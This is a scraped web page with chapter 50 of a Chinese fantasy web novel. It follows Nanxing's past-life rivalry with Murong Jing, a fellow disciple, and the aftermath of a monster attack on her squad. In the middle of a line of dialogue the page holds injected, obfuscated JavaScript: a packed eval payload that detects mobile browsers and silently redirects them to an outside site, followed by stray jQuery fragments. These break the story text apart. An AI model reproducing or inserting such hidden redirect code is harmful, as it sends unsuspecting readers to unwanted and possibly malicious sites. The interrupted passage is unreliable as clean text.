默认冷灰
24号文字
方正启体

50. 她之荣耀

作者:铃砚本书字数:K更新时间:
    前世,南星连柄铁剑都打不起。测灵大典后听说咒修赚钱,便拜入咒律宗,得伽蓝赏识。她是伽蓝唯一的亲传弟子,也是咒律宗的未来掌门。


    某年隆冬,伽蓝被外派到寒州处理事物。南星日日坐在花檐下托着腮发呆,练咒律练至乏味便跑去宝象井旁等着伽蓝回来。


    三日、五日、半月,伽蓝总算从宝象井中冒出来。南星欢天喜地地扑上前去,想用拥抱来迎接师尊,却被某人瞪了回去。


    她这才瞧见跟在伽蓝身后的慕容璟。


    人生得高大,却十分瘦弱。浑身都是新伤混旧疤,没一块好肉。最奇怪的是,慕容璟的左眼居然是墨绿色,闪着野兽般的精光。


    南星对慕容璟的第一印象就不好,她在市井中摸爬滚打长大,直觉告诉她慕容璟是个亡命之徒。


    可那时,伽蓝温柔地摸摸南星的头,问她吃的好吗?睡得香吗?开不开心?


    等确认过宝贝徒弟非但没受委屈,还圆润了不少。伽蓝才拉起南星的手,指着慕容璟说:“南星,他是我捡回来的新弟子,你帮师尊教教他。”


    伽蓝又和慕容璟叮嘱:“南星是我唯一的亲传弟子,她的话等同于我的话,不容任何人忤逆。”


    这是南星和慕容璟第一次见面。当年的她满心只有变强和报仇,故而没有注意到慕容璟越来越冷的目光。


    当时南星不知道,就因为伽蓝这一句话,慕容璟恨了南星一辈子。


    慕容璟不服管教,简直像个喂不熟的狼崽子。在天外天中一言不合就跟人打架斗法。身为符修,犯起狠来却拳拳到肉,打到对方鼻青脸肿,和着血把碎牙吐出来也不肯罢休。


    也就南星比较克慕容璟,总能一句话把他气得满脸涨红。偏生慕容璟不敢对南星动手。


    一则,宗门内人尽皆知,南星是伽蓝的宝贝疙瘩。二则,南星足够强,他打不过。三则,南星把他按在地上暴揍后,还要恶人先告状,在伽蓝面前装委屈扮可怜,让他挨完打再挨顿骂。


    两人的梁子越结越深。


    除了伽蓝,慕容璟谁也不服,谁也不喜欢,谁的话也不听。沈去浊屡屡要将他逐出仙门,都被伽蓝义正辞严地保了下来。


    再后来……


    再后来,就是南星寻找到当年琼花村血案的线索。为了查明真相,她选择离开咒律宗,加入驭妖司,从头再来。


    伽蓝哭肿了眼,最后也只是摸着她倔强的头说:“痴儿,保重。”


    南星按照人界习俗,跪在地上磕了三个响头,离开天外天,前往瀛洲赴任。


    路上,她遇到了慕容璟。


    慕容璟是来杀她的。


    “师尊把你当成唯一的弟子,你却弃她不顾,另攀高枝,让她伤心欲绝。”


    “南星,你不配为人。”


    南星彼时心绪不佳,嗤笑道:“我把位置让出来,你该开心才对。毕竟有我在,师尊永远也注意不到你。”


    慕容璟掐起雷符,冲她一拳又一拳袭来。南星不想伤到慕容璟再惹伽蓝难过,故而只防守不进攻。


    “只有你死了,她才真正是我一个人的……师尊。”


    他们从晌午达到傍晚,打了个昏天黑地。南星把慕容璟的灵力耗尽,把晕死过去的他悄悄送回咒律宗。


    然后连夜赶到驭妖司。


    同僚每每讲起南星第一天上任的经历,无不记忆犹新。说她当时浑身被血染透,嘴角青紫,却没有明显的利器外伤。就像血从毛孔中渗出来的一样。


    慕容璟下了死手,他是真想杀了南星。


    这也是唯一一次,南星没有去找伽蓝撒娇告状。


    毕竟,伽蓝已经不是她的师尊了。


    浮云一别后,流水十年间。


    南星再次听到慕容璟的消息时,她已成为驭妖司权力巅峰的驭妖官。


    而慕容璟被人检举,说他对师尊存不轨之心,有悖师徒人伦而被打入雷狱,受雷劫洗礼。听说他在狱中仍死不悔改,愿以死明志。


    伽蓝四处奔走求情,保下他一条命。可死罪能免,活罪难逃。


    慕容璟被剥除灵根,逐出天外天。


    他走的那日,伽蓝不顾流言蜚语去送他。南星担心伽蓝,处理好公务后也赶了过去。


    鹅毛大雪中,只见慕容璟跪在伽蓝面前,满眼是疯狂的执拗。他用近乎恳求的语气道:“师尊,我只想要个答案。”


    南星不知道伽蓝的答案是什么。


    总之她目送伽蓝转身回宗,闭关不出。而慕容璟跪在原地,久久没有起身。


    他用一张黄符,割破了自己的脖颈,血染红大雪。


    而南星没有阻拦。她顺手刨了个坑,把慕容璟埋了。


    …………


    今生,她从一开始就没有拜伽蓝为师,也不知慕容璟会不会重蹈覆辙。


    “咚咚。”


    殿外传来敲门声,等伽蓝出声回应,守在门外的一群人才一窝蜂涌进来。


    “南星!”


    沈酣棠像只火红的鸟儿,飞到南星怀里。她用脑袋拱了拱南星的脸,哭诉道:“南星,我好想你。”


    南星则是把人提起来,前前后后左左右右仔细看了一遍,“你的伤势严重吗?”


    沈酣棠摇摇头:“多亏了大师兄送给我的镯子,没什么大事儿。”


    “哎!南星,你眼睛怎么了?”


    南星握住沈酣棠想去揭舜华翎的手,“无事,过两天就能恢复。”


    她关心亦岚的事情,向沈酣棠打听当时他们到底发生了什么事。


    沈酣棠想了想,说是她、王氏兄妹、燕决明、高喻夏还有晴儿阿参迷路了。来回打转也找不到方向。一行人走累了,就找了片草地歇脚。沈酣棠昏昏沉沉间就靠着乔木睡着了。


    她是被惨叫声惊醒的。


    醒来后发现身边空无一人,沈酣棠立马朝旁边的小林子冲去。结果就看见晴儿、阿参和王氏兄妹在疯狂逃窜。身后还追着两只蛊雕,高喻夏正用水扇苦苦支撑。


    蛊雕可以模仿婴儿的哭声,诱杀人类。晴儿等人只怕是中招了。


    沈酣棠便让他们往回跑,自己和高喻夏留下和两只蛊雕搏斗。谁知两人属性冲突,在合作上简直毫无默契。等费劲杀了两只蛊雕,她和高喻夏已筋疲力尽,强撑着往晴儿他们离去的方向走。


    结果两人出了林子,就看见燕决明和谢羽廷晕倒在地。晴儿和阿参死了,王进宝、亦岚和王氏兄妹在争执。


    王进宝的银枪,还插在又一只蛊雕的胸口上。


    沈酣棠见到满地鲜血,一时心急,气血倒涌晕了过去。再醒来,就在伤鹤营了。


    南星点点头,跟沈酣棠叮嘱道:“别怕,下次再遇到危险,就


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135446|176712||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    捏碎我送你的平安牌。”


    沈酣棠单手挑起腰间刻着棠花的平安木牌,“啊”了一声。


    “可这是你亲手给我做的,我不想弄坏。”


    南星失笑:“滴点血进去也可以。”


    沈酣棠欣然应允。


    二人旁若无人地闲聊,直到伽蓝拍拍手,示意大家稍安勿躁。


    伽蓝的手指悬在半空,从山河殿内众人的脑袋瓜上一一点过。南星、谢澄、沈酣棠、谢羽廷、王进宝、燕决明、高喻夏。除了去世的四位,和被抓回拘仙署的亦岚。第九十九支诛妖队的成员齐了。


    伽蓝笑得温柔:“今日喊你们来,是有个好消息。你们小队重伤凶兽犼,立下大功。崔家主请你们明日入崔氏宝珍楼挑选法器,以资奖赏。”


    高喻夏拽住谢羽廷的刀,小声道:“我们也有份吗?可刚听伤鹤营的同门说,犼是南星师姐一个人打伤的呀。”


    “此言谬矣。”伽蓝慈爱地摇头。


    “战场上无匹夫之勇,唯众志成城。你们同属一支小队,她之荣耀,自然也是你们的荣耀。”


    王进宝激动地跳起来:“好好好!我就说跟着南星是对的。”


    几人围着南星叽叽喳喳。


    沈酣棠盯着南星面庞上用来做盲带的舜华翎,俏声说:“说不定宝珍阁里,能有让你快点康复的灵药呢。”


    随后,有位驭妖帅来找伽蓝禀报要务,南星等人便各自返回客房。临走时,沈酣棠缠着闹着要和南星睡一间房,却还是没抢过谢澄。


    “南星从进天外天开始,一直和我睡在未央殿中,你怎么能插足别人的感情!”


    “谢不要脸!强拐良家少女,我迟早到谢家主那里告状!”


    “你们俩狗腿子,别拉我……”


    一阵鸡飞狗跳,沈酣棠还是被谢羽廷和王进宝两人拽走了。


    一回生二回熟,谢澄拉起南星的手返回客房。将南星妥善安置在里间床上,解下舜华翎放到一旁,又关起栅窗,点燃起安神助眠的降真香。


    云烟缭绕,谢澄伫立在床边,等南星呼吸平稳,他才转到屏风外侧。谢澄从黑檀木柜底层翻出来一套备用床褥,铺在外室的小榻上。


    以双肘为枕,谢澄躺在榻上,困意全无。


    其实谢澄是个有些娇气的人,他从来没睡过如此硬的床。


    但他介意的却不是这个。


    因为南星不可告人的身份秘密,他必须靠月缚牢牢盯着她。以免某时不察就让她逃之夭夭。


    两人被迫同居,可谢澄一个大活人在此,南星连更衣都不方便,只好解下外袍便睡了。


    想来,会很不舒服吧。


    谢澄隔着屏风与重重珠帘,叹气连连。


    可屏风另侧的南星,实则已酣然入梦。压根儿不关心什么“床软不软”,“衣服是否舒适”的问题。


    这种烦恼太昂贵了,她没有。


    夜入三更,南星隐约听到门被轻轻推开的声音。可在降真香的作用下,素来警惕性高的她只是翻了个身,便又沉沉睡去。


    手腕上的兰因月缚在烛光下,跳动着晚月般的清辉。


    外室的小榻上已空无一人。


    谢澄侧头,在确认没吵醒南星后,小心翼翼闭门离开。他招手,两名隐藏在暗处的拘仙卫就从房顶跳下。


    落地无声。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)